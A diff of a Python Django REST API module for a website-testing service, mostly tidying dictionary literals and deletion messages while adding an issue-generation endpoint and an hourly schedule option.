@@ -1272,7 +1273,7 @@ def delete_page(request: object=None, id: str=None, user: object=None) -> object
     page.delete()
 
     # format and return
-    data = {'message': 'Page has been deleted',}
+    data = {'message': 'Page deleted'}
     if request:
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
@@ -1385,7 +1386,7 @@ def get_pages_zapier(request: object=None) -> object:
         id=site_id, id_type='site'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         return Response(data, status=check_data['status'])
 
     # get all site associated pages
@@ -1732,7 +1733,7 @@ def get_scans(request: object=None) -> object:
         action='get', id=id, id_type=id_type
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -1743,7 +1744,7 @@ def get_scans(request: object=None) -> object:
         scan = Scan.objects.get(id=scan_id)
         
         # serialize and return
-        serializer_context = {'request': request,}
+        serializer_context = {'request': request}
         serialized = ScanSerializer(scan, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
@@ -1756,7 +1757,7 @@ def get_scans(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(scans, request)
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = ScanSerializer(result_page, many=True, context=serializer_context)
     if str(lean).lower() == 'true':
         serialized = SmallScanSerializer(result_page, many=True, context=serializer_context)
@@ -1790,7 +1791,7 @@ def get_scan(request: object=None, id: str=None) -> object:
         id=id, id_type='scan'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -1798,7 +1799,7 @@ def get_scan(request: object=None, id: str=None) -> object:
     scan = Scan.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = ScanSerializer(scan, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '200')
@@ -1830,7 +1831,7 @@ def get_scan_lean(request: object=None, id: str=None) -> object:
         id=id, id_type='scan'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
     
@@ -1889,7 +1890,7 @@ def delete_scan(request: object=None, id: str=None, user: object=None) -> object
         id=id, id_type='scan'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         if request:
             record_api_call(request, data, check_data['code'])
             return Response(data, status=check_data['status'])
@@ -1901,17 +1902,18 @@ def delete_scan(request: object=None, id: str=None, user: object=None) -> object
     # remove s3 objects
     delete_scan_s3_bg.delay(scan.id, scan.site.id, scan.page.id)
 
+    # delete scan
+    page_id = str(scan.page.id)
+    scan.delete()
+
     # update page and site
     update_site_and_page_info.delay(
         resource='scan',
-        page_id=str(scan.page.id)
+        page_id=page_id
     )
 
-    # delete scan
-    scan.delete()
-
     # return response
-    data = {'message': 'Scan has been deleted',}
+    data = {'message': 'Scan deleted'}
     if request:
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
@@ -2027,7 +2029,7 @@ def get_scans_zapier(request: object=None) -> object:
         action='get', id=id, id_type=id_type
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         return Response(data, status=check_data['status'])
 
     # get all page associated scans
@@ -2213,7 +2215,7 @@ def create_test(request: object=None, **kwargs) -> object:
 
         # checking for scan completion
         if not Scan.objects.filter(page=p).exists():
-            data = {'reason': 'Page not yet onboarded', 'success': False,}
+            data = {'reason': 'Page not yet onboarded', 'success': False}
             print(data)
             record_api_call(request, data, '400')
             return Response(data, status=status.HTTP_400_BAD_REQUEST)
@@ -2223,7 +2225,7 @@ def create_test(request: object=None, **kwargs) -> object:
             try:
                 pre_scan = Scan.objects.get(id=pre_scan_id)
             except:
-                data = {'reason': 'cannot find a Scan with that id - pre_scan', 'success': False,}
+                data = {'reason': 'cannot find a Scan with that id - pre_scan', 'success': False}
                 print(data)
                 if request is not None:
                     record_api_call(request, data, '404')
@@ -2233,7 +2235,7 @@ def create_test(request: object=None, **kwargs) -> object:
             try:
                 post_scan = Scan.objects.get(id=post_scan_id)
             except:
-                data = {'reason': 'cannot find a Scan with that id - post_scan', 'success': False,}
+                data = {'reason': 'cannot find a Scan with that id - post_scan', 'success': False}
                 print(data)
                 if request is not None:
                     record_api_call(request, data, '404')
@@ -2247,7 +2249,7 @@ def create_test(request: object=None, **kwargs) -> object:
         # verifying pre_ and post_ scans completion
         if pre_scan:
             if pre_scan.time_completed == None:
-                data = {'reason': 'pre_scan still running', 'success': False,}
+                data = {'reason': 'pre_scan still running', 'success': False}
                 print(data)
                 if request is not None:
                     record_api_call(request, data, '400')
@@ -2255,7 +2257,7 @@ def create_test(request: object=None, **kwargs) -> object:
                 return data
         if post_scan:
             if post_scan.time_completed == None:
-                data = {'reason': 'post_scan still running', 'success': False,}
+                data = {'reason': 'post_scan still running', 'success': False}
                 print(data)
                 if request is not None:
                     record_api_call(request, data, '400')
@@ -2464,7 +2466,7 @@ def get_tests(request: object=None) -> object:
         action='add',id=id, id_type=id_type
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -2475,7 +2477,7 @@ def get_tests(request: object=None) -> object:
         test = Test.objects.get(id=test_id)
 
         # serialize and return
-        serializer_context = {'request': request,}
+        serializer_context = {'request': request}
         serialized = TestSerializer(test, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
@@ -2488,7 +2490,7 @@ def get_tests(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(tests, request)
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = TestSerializer(result_page, many=True, context=serializer_context)
     if str(lean).lower() == 'true':
         serialized = SmallTestSerializer(result_page, many=True, context=serializer_context)
@@ -2522,7 +2524,7 @@ def get_test(request: object=None, id: str=None) -> object:
         action='get', id=id, id_type='test'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -2530,7 +2532,7 @@ def get_test(request: object=None, id: str=None) -> object:
     test = Test.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = TestSerializer(test, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '200')
@@ -2562,7 +2564,7 @@ def get_test_lean(request: object=None, id: str=None) -> object:
         action='get', id=id, id_type='test'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
     
@@ -2627,7 +2629,7 @@ def delete_test(request: object=None, id: str=None, user: object=None) -> object
         action='delete', id=id, id_type='test'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         if request:
             record_api_call(request, data, check_data['code'])
             return Response(data, status=check_data['status'])
@@ -2639,17 +2641,18 @@ def delete_test(request: object=None, id: str=None, user: object=None) -> object
     # remove s3 objects
     delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
 
+    # delete test
+    page_id = str(test.page.id)
+    test.delete()
+
     # update site and page with most recent data
     update_site_and_page_info.delay(
         resource='test',
-        page_id=str(test.page.id)
+        page_id=page_id
     )
 
-    # delete test
-    test.delete()
-    
     # return response
-    data = {'message': 'Test has been deleted',}
+    data = {'message': 'Test deleted'}
     if request:
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
@@ -2766,7 +2769,7 @@ def get_tests_zapier(request: object=None) -> object:
         action='get', id=id, id_type=id_type
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         return Response(data, status=check_data['status'])
 
     # get all page associated tests
@@ -2935,7 +2938,130 @@ def create_or_update_issue(request: object=None, **kwargs) -> object:
     # decide on response type
     if request is not None:
         # serialize and return
-        serializer_context = {'request': request,}
+        serializer_context = {'request': request}
+        serialized = IssueSerializer(issue, context=serializer_context)
+        data = serialized.data
+        record_api_call(request, data, '200')
+        return Response(data, status=status.HTTP_200_OK)
+    
+    # return object response
+    data = {
+        'success': True, 
+        'issue': issue,
+    }
+    return data
+
+
+
+
+def generate_issue(request: object=None, **kwargs) -> object:
+    """ 
+    Generates a new `Issue` based on the data
+    passed in the request or kwargs
+
+    Expects: {
+        'request': object
+        'kwargs': dict
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    if request is not None:
+        id = request.data.get('id')
+        trigger = request.data.get('trigger')
+        user = request.user
+        member = Member.objects.get(user=user)
+        account = member.account
+    
+    # get kwargs data
+    if request is None:
+        id = kwargs.get('id')
+        trigger = kwargs.get('trigger')
+        account_id = kwargs.get('account_id')
+        user_id = kwargs.get('user_id')
+        user = User.objects.get(id=user_id)
+        member = Member.objects.get(user=user)
+        account = Account.objects.get(id=account_id)
+
+    # decide on action
+    action = 'add'
+
+    # check account and resource
+    check_data = check_permissions_and_usage(
+        member=member, resource='issue', 
+        action=action, id_type='issue'
+    )
+    if not check_data['allowed']:
+        data = {
+            'reason': check_data['error'], 
+            'success': False, 
+            'code': check_data['code'], 
+            'status': check_data['status']
+        }
+        if request is not None:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
+    
+    # decide on which Issue type 
+    # based on trigger
+    if trigger == 'scan':
+        if Scan.objects.filter(id=id, site__account=account).exists():
+            scan = Scan.objects.get(id=id)
+            I = Issuer(scan=scan)
+        else:
+            data = {
+                'reason': 'Scan not found', 
+                'success': False, 
+                'code': 404, 
+                'status': status.HTTP_404_NOT_FOUND
+            }
+            if request is not None:
+                record_api_call(request, data, 404)
+                return Response(data, status=status.HTTP_404_NOT_FOUND)
+            return data
+    
+    if trigger == 'test':
+        if Test.objects.filter(id=id, site__account=account).exists():
+            test = Test.objects.get(id=id)
+            I = Issuer(test=test)
+        else:
+            data = {
+                'reason': 'Test not found', 
+                'success': False, 
+                'code': 404, 
+                'status': status.HTTP_404_NOT_FOUND
+            }
+            if request is not None:
+                record_api_call(request, data, 404)
+                return Response(data, status=status.HTTP_404_NOT_FOUND)
+            return data
+
+    if trigger == 'caserun':
+        if CaseRun.objects.filter(id=id, site__account=account).exists():
+            caserun = CaseRun.objects.get(id=id)
+            I = Issuer(caserun=caserun)
+        else:
+            data = {
+                'reason': 'CaseRun not found', 
+                'success': False, 
+                'code': 404, 
+                'status': status.HTTP_404_NOT_FOUND
+            }
+            if request is not None:
+                record_api_call(request, data, 404)
+                return Response(data, status=status.HTTP_404_NOT_FOUND)
+            return data
+
+    # create new Issue
+    issue = I.build_issue()
+    
+    # decide on response type
+    if request is not None:
+        # serialize and return
+        serializer_context = {'request': request}
         serialized = IssueSerializer(issue, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
@@ -3048,7 +3174,7 @@ def get_issues(request: object=None) -> object:
         id=id, id_type=id_type,
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -3059,7 +3185,7 @@ def get_issues(request: object=None) -> object:
         issue = Issue.objects.get(id=issue_id)
 
         # serialize and return
-        serializer_context = {'request': request,}
+        serializer_context = {'request': request}
         serialized = IssueSerializer(issue, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
@@ -3096,7 +3222,7 @@ def get_issues(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(issues, request)
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = IssueSerializer(result_page, many=True, context=serializer_context)
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
@@ -3128,7 +3254,7 @@ def get_issue(request: object=None, id: str=None) -> object:
         id=id, id_type='issue'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -3136,7 +3262,7 @@ def get_issue(request: object=None, id: str=None) -> object:
     issue = Issue.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = IssueSerializer(issue, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '200')
@@ -3168,7 +3294,7 @@ def search_issues(request: object=None) -> object:
         member=member, resource='issue', action='get'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -3192,7 +3318,7 @@ def search_issues(request: object=None) -> object:
     # serialize and rerturn
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(issues, request)
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = IssueSerializer(result_page, many=True, context=serializer_context)
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
@@ -3225,7 +3351,7 @@ def delete_issue(request: object=None, id: str=None, user: object=None) -> objec
         id=id, id_type='issue',
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         if request:
             record_api_call(request, data, check_data['code'])
             return Response(data, status=check_data['status'])
@@ -3238,7 +3364,7 @@ def delete_issue(request: object=None, id: str=None, user: object=None) -> objec
     issue.delete()
 
     # return response
-    data = {'message': 'Issue has been deleted',}
+    data = {'message': 'Issue deleted'}
     if request:
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
@@ -3335,7 +3461,7 @@ def get_issues_zapier(request: object=None) -> object:
         action='get', id=id, id_type=id_type
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         return Response(data, status=check_data['status'])
     
     # get all page associated issues
@@ -3463,7 +3589,7 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
         action=action, id=schedule_id, id_type='schedule'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         if request:
             record_api_call(request, data, check_data['code'])
             return Response(data, status=check_data['status'])
@@ -3528,7 +3654,11 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
         hour = time[0:2]
 
         # building cron expression freq
-        if freq == 'daily':
+        if freq == 'hourly':
+            hour = '*/1'
+            day_of_week = '*'
+            day_of_month = '*'
+        elif freq == 'daily':
             day_of_week = '*'
             day_of_month = '*'
         elif freq == 'weekly':
@@ -3549,7 +3679,7 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
             timezone=timezone, 
             minute=minute, 
             hour=hour,
-            day_of_week=day_of_week, 
+            day_of_week=day_of_week,
             day_of_month=day_of_month,
         )
 
@@ -3659,7 +3789,7 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
     # deciding on response type
     if request:
         # serialize and return
-        serializer_context = {'request': request,}
+        serializer_context = {'request': request}
         data = ScheduleSerializer(schedule, context=serializer_context).data
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
@@ -3764,7 +3894,7 @@ def run_schedule(request: object=None) -> object:
         action='get', id=schedule_id, id_type='schedule'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -3808,7 +3938,7 @@ def run_schedule(request: object=None) -> object:
         )
 
     # serialize and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     data = ScheduleSerializer(schedule, context=serializer_context).data
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
@@ -3845,7 +3975,7 @@ def get_schedules(request: object=None) -> object:
         action='get', id=schedule_id, id_type='schedule'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -3856,7 +3986,7 @@ def get_schedules(request: object=None) -> object:
         schedule = Schedule.objects.get(id=schedule_id)
 
         # serialize and return
-        serializer_context = {'request': request,}
+        serializer_context = {'request': request}
         serialized = ScheduleSerializer(schedule, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
@@ -3887,7 +4017,7 @@ def get_schedules(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(schedules, request)
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = ScheduleSerializer(result_page, many=True, context=serializer_context)
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
@@ -3919,7 +4049,7 @@ def get_schedule(request: object=None, id: str=None) -> object:
         action='get', id=id, id_type='schedule'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -3927,7 +4057,7 @@ def get_schedule(request: object=None, id: str=None) -> object:
     schedule = Schedule.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = ScheduleSerializer(schedule, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '200')
@@ -3961,7 +4091,7 @@ def delete_schedule(request: object=None, id: str=None, user: object=None) -> ob
         action='delete', id=id, id_type='schedule'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         if request:
             record_api_call(request, data, check_data['code'])
             return Response(data, status=check_data['status'])
@@ -3981,7 +4111,7 @@ def delete_schedule(request: object=None, id: str=None, user: object=None) -> ob
     decrement_resource(account=account, resource='schedules')
 
     # return response
-    data = {'message': 'Schedule has been deleted',}
+    data = {'message': 'Schedule deleted'}
     if request:
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
@@ -4133,7 +4263,7 @@ def create_or_update_alert(request: object=None) -> object:
         action=action, id=id, id_type=id_type,
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -4196,7 +4326,7 @@ def create_or_update_alert(request: object=None) -> object:
         task.save()
 
     # serialize and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     data = AlertSerializer(alert, context=serializer_context).data
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
@@ -4230,7 +4360,7 @@ def get_alerts(request: object=None) -> object:
         action='get', id=alert_id, id_type='alert'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -4241,7 +4371,7 @@ def get_alerts(request: object=None) -> object:
         alert = Alert.objects.get(id=alert_id)
         
         # serialize and return
-        serializer_context = {'request': request,}
+        serializer_context = {'request': request}
         serialized = AlertSerializer(alert, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
@@ -4253,7 +4383,7 @@ def get_alerts(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(alerts, request)
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = AlertSerializer(result_page, many=True, context=serializer_context)
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
@@ -4285,7 +4415,7 @@ def get_alert(request: object=None, id: str=None) -> object:
         action='get', id=id, id_type='alert'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -4293,7 +4423,7 @@ def get_alert(request: object=None, id: str=None) -> object:
     alert = Alert.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = AlertSerializer(alert, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '200')
@@ -4325,7 +4455,7 @@ def delete_alert(request: object=None, id: str=None) -> object:
         action='delete', id=id, id_type='alert'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -4336,7 +4466,7 @@ def delete_alert(request: object=None, id: str=None) -> object:
     alert.delete()
 
     # return response
-    data = {'message': 'Alert has been deleted',}
+    data = {'message': 'Alert deleted'}
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
     return response
@@ -4387,7 +4517,7 @@ def create_or_update_report(request: object=None) -> object:
         action=action, id=id, id_type=id_type
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -4432,7 +4562,7 @@ def create_or_update_report(request: object=None) -> object:
     report_data = R(report=un_cached_report).generate_report()
 
     # serialize report
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     new_report = ReportSerializer(
         report_data['report'], 
         context=serializer_context
@@ -4482,7 +4612,7 @@ def get_reports(request: object=None) -> object:
         action='add', id=id, id_type=id_type
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -4493,7 +4623,7 @@ def get_reports(request: object=None) -> object:
         report = Report.objects.get(id=report_id)
 
         # serialize and return
-        serializer_context = {'request': request,}
+        serializer_context = {'request': request}
         serialized = ReportSerializer(report, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
@@ -4516,7 +4646,7 @@ def get_reports(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(reports, request)
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = ReportSerializer(result_page, many=True, context=serializer_context)
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
@@ -4548,7 +4678,7 @@ def get_report(request: object=None, id: str=None) -> object:
         action='get', id=id, id_type='report'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -4556,7 +4686,7 @@ def get_report(request: object=None, id: str=None) -> object:
     report = Report.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = ReportSerializer(report, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '200')
@@ -4588,7 +4718,7 @@ def delete_report(request: object=None, id: str=None) -> object:
         action='delete', id=id, id_type='report'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -4602,7 +4732,7 @@ def delete_report(request: object=None, id: str=None) -> object:
     report.delete()
 
     # return reponse
-    data = {'message': 'Report has been deleted',}
+    data = {'message': 'Report deleted'}
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
     return response
@@ -4688,7 +4818,7 @@ def create_or_update_case(request: object=None) -> object:
         action=action, id=case_id, id_type='case'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
     
@@ -4755,7 +4885,7 @@ def create_or_update_case(request: object=None) -> object:
         # and run Caser().pre_run() in background
         
     # serialize and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     data = CaseSerializer(case, context=serializer_context).data
     record_api_call(request, data, '201')
     response = Response(data, status=status.HTTP_201_CREATED)
@@ -4854,7 +4984,7 @@ def get_cases(request: object=None) -> object:
         action='get', id=id, id_type=id_type
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -4865,7 +4995,7 @@ def get_cases(request: object=None) -> object:
         case = Case.objects.get(id=case_id)
 
         # serialize and return
-        serializer_context = {'request': request,}
+        serializer_context = {'request': request}
         serialized = CaseSerializer(case, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
@@ -4891,7 +5021,7 @@ def get_cases(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(cases, request)
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = CaseSerializer(result_page, many=True, context=serializer_context)
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
@@ -4923,7 +5053,7 @@ def get_case(request: object=None, id: str=None) -> object:
         action='get', id=id, id_type='case'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -4931,7 +5061,7 @@ def get_case(request: object=None, id: str=None) -> object:
     case = Case.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = CaseSerializer(case, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '200')
@@ -4963,7 +5093,7 @@ def search_cases(request: object=None) -> object:
         member=member, resource='case', action='get'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
     
@@ -4981,7 +5111,7 @@ def search_cases(request: object=None) -> object:
     # serialize and rerturn
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(cases, request)
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = CaseSerializer(result_page, many=True, context=serializer_context)
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
@@ -5034,7 +5164,7 @@ def create_auto_cases(request: object=None) -> object:
         action='add', id=site_id, id_type='site'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -5097,7 +5227,7 @@ def copy_case(request: object=None) -> object:
         action='add', id=case_id, id_type='case'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -5127,7 +5257,7 @@ def copy_case(request: object=None) -> object:
     )
 
     # return response
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     data = CaseSerializer(new_case, context=serializer_context).data
     record_api_call(request, data, '201')
     response = Response(data, status=status.HTTP_201_CREATED)
@@ -5161,7 +5291,7 @@ def delete_case(request: object=None, id: str=None, user: object=None) -> object
         action='delete', id=id, id_type='case'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         if request:
             record_api_call(request, data, check_data['code'])
             return Response(data, status=check_data['status'])
@@ -5177,7 +5307,7 @@ def delete_case(request: object=None, id: str=None, user: object=None) -> object
     case.delete()
 
     # return response
-    data = {'message': 'Case has been deleted',}
+    data = {'message': 'Case deleted'}
     if request:
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
@@ -5272,7 +5402,7 @@ def get_cases_zapier(request: object=None) -> object:
         action='get', id=site_id, id_type='site'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         return Response(data, status=check_data['status'])
 
     # get all site_id associated cases
@@ -5363,7 +5493,7 @@ def create_caserun(request: object=None) -> object:
         action='add', id=case_id, id_type='case'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -5457,7 +5587,7 @@ def get_caseruns(request: object=None) -> object:
         action='get', id=id, id_type=id_type
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -5468,7 +5598,7 @@ def get_caseruns(request: object=None) -> object:
         caserun = CaseRun.objects.get(id=caserun_id)
 
         # serialize and return
-        serializer_context = {'request': request,}
+        serializer_context = {'request': request}
         serialized = CaseRunSerializer(caserun, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
@@ -5486,7 +5616,7 @@ def get_caseruns(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(caseruns, request)
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = CaseRunSerializer(result_page, many=True, context=serializer_context)
     if str(lean).lower() == 'true':
         serialized = SmallCaseRunSerializer(result_page, many=True, context=serializer_context)
@@ -5520,7 +5650,7 @@ def get_caserun(request: object=None, id: str=None) -> object:
         action='get', id=id, id_type='caserun'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -5528,7 +5658,7 @@ def get_caserun(request: object=None, id: str=None) -> object:
     caserun = CaseRun.objects.get(id=id)
         
